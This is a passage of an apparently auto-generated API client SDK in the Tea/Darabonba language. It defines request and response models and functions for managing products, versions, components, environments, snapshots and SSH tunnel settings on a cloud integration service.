version?: string(name='version', description='组件当前的版本号'),
preVersion?: string(name='preVersion', description='组件之前的版本号'),
difference?: string(name='difference', description='变更类型,ENUM 类型'),
upgradeFlag?: boolean(name='upgradeFlag'),
message?: string(name='message', description='变更描述信息'),
}
](name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetLatestVersionDifferencesResponse = {
headers: map[string]string(name='headers'),
body: GetLatestVersionDifferencesResponseBody(name='body'),
}
async function getLatestVersionDifferences(id: string, versionID: string, request: GetLatestVersionDifferencesRequest): GetLatestVersionDifferencesResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getLatestVersionDifferencesWithOptions(id, versionID, request, headers, runtime);
}
async function getLatestVersionDifferencesWithOptions(id: string, versionID: string, request: GetLatestVersionDifferencesRequest, headers: map[string]string, runtime: Util.RuntimeOptions): GetLatestVersionDifferencesResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.preVersionID)) {
query.preVersionID = request.preVersionID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('GetLatestVersionDifferences', '2020-12-01', 'HTTPS', 'GET', 'AK', `/integration/api/v1/products/${id}/versions/${versionID}/differences`, 'json', req, runtime);
}
model ApplyComponentRequest {
annotations?: string(name='annotations'),
appVersion?: string(name='appVersion'),
category?: string(name='category'),
componentClass?: string(name='componentClass'),
description?: string(name='description'),
documents?: string(name='documents'),
imagesMapping?: string(name='imagesMapping'),
name?: string(name='name'),
namespace?: string(name='namespace'),
orchestrationType?: string(name='orchestrationType'),
orchestrationValues?: string(name='orchestrationValues'),
packageURL?: string(name='packageURL'),
parentComponent?: boolean(name='parentComponent'),
platforms?: [
{
architecture?: string(name='architecture'),
os?: string(name='os'),
}
](name='platforms'),
priority?: int32(name='priority'),
provider?: string(name='provider'),
public?: boolean(name='public'),
readme?: string(name='readme'),
resources?: string(name='resources'),
singleton?: boolean(name='singleton'),
version?: string(name='version'),
}
model ApplyComponentResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
status?: string(name='status'),
success?: boolean(name='success'),
}
model ApplyComponentResponse = {
headers: map[string]string(name='headers'),
body: ApplyComponentResponseBody(name='body'),
}
async function applyComponent(request: ApplyComponentRequest): ApplyComponentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return applyComponentWithOptions(request, headers, runtime);
}
async function applyComponentWithOptions(request: ApplyComponentRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ApplyComponentResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.annotations)) {
body.annotations = request.annotations;
}
if (!Util.isUnset(request.appVersion)) {
body.appVersion = request.appVersion;
}
if (!Util.isUnset(request.category)) {
body.category = request.category;
}
if (!Util.isUnset(request.componentClass)) {
body.componentClass = request.componentClass;
}
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
if (!Util.isUnset(request.documents)) {
body.documents = request.documents;
}
if (!Util.isUnset(request.imagesMapping)) {
body.imagesMapping = request.imagesMapping;
}
if (!Util.isUnset(request.name)) {
body.name = request.name;
}
if (!Util.isUnset(request.namespace)) {
body.namespace = request.namespace;
}
if (!Util.isUnset(request.orchestrationType)) {
body.orchestrationType = request.orchestrationType;
}
if (!Util.isUnset(request.orchestrationValues)) {
body.orchestrationValues = request.orchestrationValues;
}
if (!Util.isUnset(request.packageURL)) {
body.packageURL = request.packageURL;
}
if (!Util.isUnset(request.parentComponent)) {
body.parentComponent = request.parentComponent;
}
if (!Util.isUnset(request.platforms)) {
body.platforms = request.platforms;
}
if (!Util.isUnset(request.priority)) {
body.priority = request.priority;
}
if (!Util.isUnset(request.provider)) {
body.provider = request.provider;
}
if (!Util.isUnset(request.public)) {
body.public = request.public;
}
if (!Util.isUnset(request.readme)) {
body.readme = request.readme;
}
if (!Util.isUnset(request.resources)) {
body.resources = request.resources;
}
if (!Util.isUnset(request.singleton)) {
body.singleton = request.singleton;
}
if (!Util.isUnset(request.version)) {
body.version = request.version;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('ApplyComponent', '2020-12-01', 'HTTPS', 'POST', 'AK', `/integration/api/v1/apps`, 'json', req, runtime);
}
model GetProductVersionResourcesResponseBody = {
requestId?: string(name='requestId', description='Id of the request'),
}
model GetProductVersionResourcesResponse = {
headers: map[string]string(name='headers'),
body: GetProductVersionResourcesResponseBody(name='body'),
}
async function getProductVersionResources(uid: string): GetProductVersionResourcesResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductVersionResourcesWithOptions(uid, headers, runtime);
}
async function getProductVersionResourcesWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductVersionResourcesResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetProductVersionResources', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_versions/${uid}/resource_requirement`, 'json', req, runtime);
}
model ListEnvironmentsRequest {
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
name?: string(name='name'),
fuzzy?: string(name='fuzzy'),
instanceStatus?: string(name='instanceStatus'),
vendorType?: string(name='vendorType'),
}
model ListEnvironmentsResponseBody = {
data?: {
list?: [
{
createdAt?: string(name='createdAt'),
description?: string(name='description'),
id?: int32(name='id'),
location?: string(name='location'),
name?: string(name='name'),
platform?: {
architecture?: string(name='architecture'),
os?: string(name='os'),
}(name='platform'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
productVersionUID?: string(name='productVersionUID'),
uid?: string(name='uid'),
vendorType?: string(name='vendorType'),
}
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListEnvironmentsResponse = {
headers: map[string]string(name='headers'),
body: ListEnvironmentsResponseBody(name='body'),
}
async function listEnvironments(request: ListEnvironmentsRequest): ListEnvironmentsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvironmentsWithOptions(request, headers, runtime);
}
async function listEnvironmentsWithOptions(request: ListEnvironmentsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvironmentsResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.name)) {
query.name = request.name;
}
if (!Util.isUnset(request.fuzzy)) {
query.fuzzy = request.fuzzy;
}
if (!Util.isUnset(request.instanceStatus)) {
query.instanceStatus = request.instanceStatus;
}
if (!Util.isUnset(request.vendorType)) {
query.vendorType = request.vendorType;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListEnvironments', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments`, 'json', req, runtime);
}
model UpdateProductRequest {
description?: string(name='description'),
}
model UpdateProductResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateProductResponse = {
headers: map[string]string(name='headers'),
body: UpdateProductResponseBody(name='body'),
}
async function updateProduct(uid: string, request: UpdateProductRequest): UpdateProductResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateProductWithOptions(uid, request, headers, runtime);
}
async function updateProductWithOptions(uid: string, request: UpdateProductRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateProductResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateProduct', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/products/${uid}`, 'json', req, runtime);
}
model ListEnvironmentTunnelResponseBody = {
errCode?: string(name='errCode', description='错误码'),
errMsg?: string(name='errMsg', description='错误信息'),
success?: boolean(name='success', description='是否成功'),
data?: {
list?: [
{
tunnelType?: string(name='tunnelType', description='通道类型'),
tunnelConfig?: {
hostname?: string(name='hostname', description='跳板机hostname'),
sshPort?: int32(name='sshPort', description='跳板机ssh端口号'),
username?: string(name='username', description='跳板机用户名'),
password?: string(name='password', description='跳板机密码'),
vpcId?: string(name='vpcId', description='直连vpcId'),
regionId?: string(name='regionId', description='直连regionId'),
}(name='tunnelConfig'),
}
](name='list'),
}(name='data'),
}
model ListEnvironmentTunnelResponse = {
headers: map[string]string(name='headers'),
body: ListEnvironmentTunnelResponseBody(name='body'),
}
async function listEnvironmentTunnel(uid: string): ListEnvironmentTunnelResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvironmentTunnelWithOptions(uid, headers, runtime);
}
async function listEnvironmentTunnelWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvironmentTunnelResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('ListEnvironmentTunnel', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/tunnels`, 'json', req, runtime);
}
model ListProductVersionEnvironmentResponseBody = {
data?: {
list?: [
{
uid?: string(name='uid', description='uid'),
envUID?: string(name='envUID', description='env_uid'),
productVersionUID?: string(name='productVersionUID', description='product_version_uid'),
}
](name='list'),
}(name='data'),
}
model ListProductVersionEnvironmentResponse = {
headers: map[string]string(name='headers'),
body: ListProductVersionEnvironmentResponseBody(name='body'),
}
async function listProductVersionEnvironment(uid: string): ListProductVersionEnvironmentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listProductVersionEnvironmentWithOptions(uid, headers, runtime);
}
async function listProductVersionEnvironmentWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): ListProductVersionEnvironmentResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('ListProductVersionEnvironment', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/hosting/product_versions/${uid}/environments`, 'json', req, runtime);
}
model DeleteProductVersionConfigResponseBody = {
requestId?: string(name='requestId', description='Id of the request'),
}
model DeleteProductVersionConfigResponse = {
headers: map[string]string(name='headers'),
body: DeleteProductVersionConfigResponseBody(name='body'),
}
async function deleteProductVersionConfig(uid: string): DeleteProductVersionConfigResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteProductVersionConfigWithOptions(uid, headers, runtime);
}
async function deleteProductVersionConfigWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteProductVersionConfigResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('DeleteProductVersionConfig', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/api/v1/product_versions/${uid}/config`, 'json', req, runtime);
}
model GetEnvironmentNodeResponseBody = {
data?: {
clusterId?: string(name='clusterId'),
createdAt?: string(name='createdAt'),
description?: string(name='description'),
instanceList?: string(name='instanceList'),
name?: string(name='name'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
uid?: string(name='uid'),
vendorConfig?: string(name='vendorConfig'),
vendorType?: string(name='vendorType'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetEnvironmentNodeResponse = {
headers: map[string]string(name='headers'),
body: GetEnvironmentNodeResponseBody(name='body'),
}
async function getEnvironmentNode(uid: string): GetEnvironmentNodeResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getEnvironmentNodeWithOptions(uid, headers, runtime);
}
async function getEnvironmentNodeWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetEnvironmentNodeResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetEnvironmentNode', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environmentnodes/${uid}`, 'json', req, runtime);
}
model ListProductsRequest {
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
name?: string(name='name'),
fuzzy?: string(name='fuzzy'),
}
model ListProductsResponseBody = {
data?: {
list?: [
{
annotations?: {
shit?: string(name='Shit'),
}(name='annotations'),
description?: string(name='description'),
name?: string(name='name'),
provider?: string(name='provider'),
uid?: string(name='uid'),
}
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListProductsResponse = {
headers: map[string]string(name='headers'),
body: ListProductsResponseBody(name='body'),
}
async function listProducts(request: ListProductsRequest): ListProductsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listProductsWithOptions(request, headers, runtime);
}
async function listProductsWithOptions(request: ListProductsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListProductsResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.name)) {
query.name = request.name;
}
if (!Util.isUnset(request.fuzzy)) {
query.fuzzy = request.fuzzy;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListProducts', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/products`, 'json', req, runtime);
}
model UpdateSnapshotRequest {
description?: string(name='description'),
productName?: string(name='productName'),
productVersion?: string(name='productVersion'),
productVersionDesc?: string(name='productVersionDesc'),
updateKey?: string(name='updateKey'),
}
model UpdateSnapshotResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateSnapshotResponse = {
headers: map[string]string(name='headers'),
body: UpdateSnapshotResponseBody(name='body'),
}
async function updateSnapshot(uid: string, request: UpdateSnapshotRequest): UpdateSnapshotResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateSnapshotWithOptions(uid, request, headers, runtime);
}
async function updateSnapshotWithOptions(uid: string, request: UpdateSnapshotRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateSnapshotResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
if (!Util.isUnset(request.productName)) {
body.productName = request.productName;
}
if (!Util.isUnset(request.productVersion)) {
body.productVersion = request.productVersion;
}
if (!Util.isUnset(request.productVersionDesc)) {
body.productVersionDesc = request.productVersionDesc;
}
if (!Util.isUnset(request.updateKey)) {
body.updateKey = request.updateKey;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateSnapshot', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/snapshots/${uid}`, 'json', req, runtime);
}
model CreateEnvironmentSnapshotRequest {
description?: string(name='description'),
name?: string(name='name'),
}
model CreateEnvironmentSnapshotResponseBody = {
data?: {
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model CreateEnvironmentSnapshotResponse = {
headers: map[string]string(name='headers'),
body: CreateEnvironmentSnapshotResponseBody(name='body'),
}
async function createEnvironmentSnapshot(uid: string, request: CreateEnvironmentSnapshotRequest): CreateEnvironmentSnapshotResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return createEnvironmentSnapshotWithOptions(uid, request, headers, runtime);
}
async function createEnvironmentSnapshotWithOptions(uid: string, request: CreateEnvironmentSnapshotRequest, headers: map[string]string, runtime: Util.RuntimeOptions): CreateEnvironmentSnapshotResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
if (!Util.isUnset(request.name)) {
body.name = request.name;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('CreateEnvironmentSnapshot', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/snapshots`, 'json', req, runtime);
}
model UpdateProductVersionRelatedFoundationVersionRequest {
foundationVersionUID?: string(name='foundationVersionUID'),
}
model UpdateProductVersionRelatedFoundationVersionResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateProductVersionRelatedFoundationVersionResponse = {
headers: map[string]string(name='headers'),
body: UpdateProductVersionRelatedFoundationVersionResponseBody(name='body'),
}
async function updateProductVersionRelatedFoundationVersion(uid: string, request: UpdateProductVersionRelatedFoundationVersionRequest): UpdateProductVersionRelatedFoundationVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateProductVersionRelatedFoundationVersionWithOptions(uid, request, headers, runtime);
}
async function updateProductVersionRelatedFoundationVersionWithOptions(uid: string, request: UpdateProductVersionRelatedFoundationVersionRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateProductVersionRelatedFoundationVersionResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = request.foundationVersionUID,
};
return doROARequest('UpdateProductVersionRelatedFoundationVersion', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/product_versions/${uid}/foundation`, 'json', req, runtime);
}
model UpdateEnvironmentRequest {
description?: string(name='description'),
location?: string(name='location'),
vendorConfig?: string(name='vendorConfig'),
}
model UpdateEnvironmentResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateEnvironmentResponse = {
headers: map[string]string(name='headers'),
body: UpdateEnvironmentResponseBody(name='body'),
}
async function updateEnvironment(uid: string, request: UpdateEnvironmentRequest): UpdateEnvironmentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateEnvironmentWithOptions(uid, request, headers, runtime);
}
async function updateEnvironmentWithOptions(uid: string, request: UpdateEnvironmentRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateEnvironmentResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
if (!Util.isUnset(request.location)) {
body.location = request.location;
}
if (!Util.isUnset(request.vendorConfig)) {
body.vendorConfig = request.vendorConfig;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateEnvironment', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/environments/${uid}`, 'json', req, runtime);
}
model GetProductComponentDetailResponseBody = {
data?: {
appVersion?: string(name='appVersion'),
category?: string(name='category'),
childrenComponentVersionList?: [
{
appVersion?: string(name='appVersion'),
category?: string(name='category'),
class?: string(name='class'),
componentName?: string(name='componentName'),
componentUID?: string(name='componentUID'),
description?: string(name='description'),
documents?: [ string ](name='documents'),
enable?: boolean(name='enable'),
imagesMapping?: string(name='imagesMapping'),
namespace?: string(name='namespace'),
orchestrationValues?: string(name='orchestrationValues'),
packageURL?: string(name='packageURL'),
parentComponent?: boolean(name='parentComponent'),
priority?: int32(name='priority'),
productComponentVersionUID?: string(name='productComponentVersionUID'),
provider?: string(name='provider'),
readme?: string(name='readme'),
resources?: string(name='resources'),
singleton?: boolean(name='singleton'),
uid?: string(name='uid'),
version?: string(name='version'),
}
](name='childrenComponentVersionList'),
class?: string(name='class'),
componentName?: string(name='componentName'),
componentUID?: string(name='componentUID'),
description?: string(name='description'),
documents?: [ string ](name='documents'),
enable?: boolean(name='enable'),
hasDependency?: boolean(name='hasDependency'),
imagesMapping?: string(name='imagesMapping'),
namespace?: string(name='namespace'),
orchestrationValues?: string(name='orchestrationValues'),
packageURL?: string(name='packageURL'),
parentComponent?: boolean(name='parentComponent'),
priority?: int32(name='priority'),
productComponentVersionUID?: string(name='productComponentVersionUID'),
provider?: string(name='provider'),
readme?: string(name='readme'),
resources?: string(name='resources'),
singleton?: boolean(name='singleton'),
uid?: string(name='uid'),
version?: string(name='version'),
}(name='data'),
errCode?: string(name='errCode'),
success?: boolean(name='success'),
}
model GetProductComponentDetailResponse = {
headers: map[string]string(name='headers'),
body: GetProductComponentDetailResponseBody(name='body'),
}
async function getProductComponentDetail(uid: string, versionUID: string, productComponentVersionRelationUID: string): GetProductComponentDetailResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductComponentDetailWithOptions(uid, versionUID, productComponentVersionRelationUID, headers, runtime);
}
async function getProductComponentDetailWithOptions(uid: string, versionUID: string, productComponentVersionRelationUID: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductComponentDetailResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetProductComponentDetail', '2020-12-01', 'HTTPS', 'GET', 'AK', `/integration/api/v1/products/${uid}/versions/${versionUID}/productComponentVersionRelations/${productComponentVersionRelationUID}/detail`, 'json', req, runtime);
}
model ImportEnvironmentNodesRequest {
nodeListYaml?: string(name='nodeListYaml'),
}
model ImportEnvironmentNodesResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ImportEnvironmentNodesResponse = {
headers: map[string]string(name='headers'),
body: ImportEnvironmentNodesResponseBody(name='body'),
}
async function importEnvironmentNodes(uid: string, request: ImportEnvironmentNodesRequest): ImportEnvironmentNodesResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return importEnvironmentNodesWithOptions(uid, request, headers, runtime);
}
async function importEnvironmentNodesWithOptions(uid: string, request: ImportEnvironmentNodesRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ImportEnvironmentNodesResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = request.nodeListYaml,
};
return doROARequest('ImportEnvironmentNodes', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/importnodes`, 'json', req, runtime);
}
model ListProductVersionsRequest {
released?: boolean(name='released'),
platforms?: [
{
architecture?: string(name='architecture'),
os?: string(name='os'),
}
](name='platforms'),
pageNum?: string(name='pageNum'),
pageSize?: string(name='pageSize'),
}
model ListProductVersionsShrinkRequest {
released?: boolean(name='released'),
platformsShrink?: string(name='platforms'),
pageNum?: string(name='pageNum'),
pageSize?: string(name='pageSize'),
}
model ListProductVersionsResponseBody = {
data?: {
list?: [
{
annotations?: {
additionalProp1?: string(name='additionalProp1'),
additionalProp2?: string(name='additionalProp2'),
additionalProp3?: string(name='additionalProp3'),
}(name='annotations'),
description?: string(name='description'),
packageURL?: string(name='packageURL'),
productName?: string(name='productName'),
productUID?: string(name='productUID'),
provider?: string(name='provider'),
uid?: string(name='uid'),
version?: string(name='version'),
}
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListProductVersionsResponse = {
headers: map[string]string(name='headers'),
body: ListProductVersionsResponseBody(name='body'),
}
async function listProductVersions(uid: string, request: ListProductVersionsRequest): ListProductVersionsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listProductVersionsWithOptions(uid, request, headers, runtime);
}
async function listProductVersionsWithOptions(uid: string, tmpReq: ListProductVersionsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListProductVersionsResponse {
Util.validateModel(tmpReq);
var request = new ListProductVersionsShrinkRequest{};
OpenApiUtil.convert(tmpReq, request);
if (!Util.isUnset(tmpReq.platforms)) {
request.platformsShrink = OpenApiUtil.arrayToStringWithSpecifiedStyle(tmpReq.platforms, 'platforms', 'json');
}
var query : map[string]any= {};
if (!Util.isUnset(request.released)) {
query.released = request.released;
}
if (!Util.isUnset(request.platformsShrink)) {
query.platforms = request.platformsShrink;
}
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListProductVersions', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/products/${uid}/versions`, 'json', req, runtime);
}
model AddEnvironmentPackageHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model AddEnvironmentPackageRequest {
packageType?: string(name='packageType'),
}
model AddEnvironmentPackageResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model AddEnvironmentPackageResponse = {
headers: map[string]string(name='headers'),
body: AddEnvironmentPackageResponseBody(name='body'),
}
async function addEnvironmentPackage(uid: string, request: AddEnvironmentPackageRequest): AddEnvironmentPackageResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new AddEnvironmentPackageHeaders{};
return addEnvironmentPackageWithOptions(uid, request, headers, runtime);
}
async function addEnvironmentPackageWithOptions(uid: string, request: AddEnvironmentPackageRequest, headers: AddEnvironmentPackageHeaders, runtime: Util.RuntimeOptions): AddEnvironmentPackageResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.packageType)) {
query.packageType = request.packageType;
}
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
query = OpenApiUtil.query(query),
};
return doROARequest('AddEnvironmentPackage', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/package`, 'json', req, runtime);
}
model UpdateEnvironmentProductVersionRequest {
compatibleVersions?: string(name='compatibleVersions'),
oldProductVersion?: string(name='oldProductVersion'),
oldProductVersionUID?: string(name='oldProductVersionUID'),
productName?: string(name='productName'),
productUID?: string(name='productUID'),
productVersion?: string(name='productVersion'),
productVersionUID?: string(name='productVersionUID'),
}
model UpdateEnvironmentProductVersionResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateEnvironmentProductVersionResponse = {
headers: map[string]string(name='headers'),
body: UpdateEnvironmentProductVersionResponseBody(name='body'),
}
async function updateEnvironmentProductVersion(uid: string, request: UpdateEnvironmentProductVersionRequest): UpdateEnvironmentProductVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateEnvironmentProductVersionWithOptions(uid, request, headers, runtime);
}
async function updateEnvironmentProductVersionWithOptions(uid: string, request: UpdateEnvironmentProductVersionRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateEnvironmentProductVersionResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.compatibleVersions)) {
body.compatibleVersions = request.compatibleVersions;
}
if (!Util.isUnset(request.oldProductVersion)) {
body.oldProductVersion = request.oldProductVersion;
}
if (!Util.isUnset(request.oldProductVersionUID)) {
body.oldProductVersionUID = request.oldProductVersionUID;
}
if (!Util.isUnset(request.productName)) {
body.productName = request.productName;
}
if (!Util.isUnset(request.productUID)) {
body.productUID = request.productUID;
}
if (!Util.isUnset(request.productVersion)) {
body.productVersion = request.productVersion;
}
if (!Util.isUnset(request.productVersionUID)) {
body.productVersionUID = request.productVersionUID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateEnvironmentProductVersion', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/environments/${uid}/product_versions`, 'json', req, runtime);
}
model GetProductVersionResponseBody = {
data?: {
description?: string(name='description'),
provider?: string(name='provider'),
uid?: string(name='uid'),
productUID?: string(name='productUID'),
productName?: string(name='productName'),
version?: string(name='version'),
foundationVersionUID?: string(name='foundationVersionUID'),
packageURL?: string(name='packageURL'),
platforms?: [
Platform
](name='platforms'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetProductVersionResponse = {
headers: map[string]string(name='headers'),
body: GetProductVersionResponseBody(name='body'),
}
async function getProductVersion(uid: string): GetProductVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getProductVersionWithOptions(uid, headers, runtime);
}
async function getProductVersionWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetProductVersionResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetProductVersion', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_versions/${uid}`, 'json', req, runtime);
}
model SaveEnvironmentParamRequest {
componentUID?: string(name='componentUID'),
componentVersionUID?: string(name='componentVersionUID'),
name?: string(name='name'),
paramUID?: string(name='paramUID'),
provider?: string(name='provider'),
releaseName?: string(name='releaseName'),
scope?: [ string ](name='scope'),
value?: string(name='value'),
notes?: string(name='notes'),
productVersionUID?: string(name='ProductVersionUID'),
}
model SaveEnvironmentParamResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model SaveEnvironmentParamResponse = {
headers: map[string]string(name='headers'),
body: SaveEnvironmentParamResponseBody(name='body'),
}
async function saveEnvironmentParam(uid: string, request: SaveEnvironmentParamRequest): SaveEnvironmentParamResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return saveEnvironmentParamWithOptions(uid, request, headers, runtime);
}
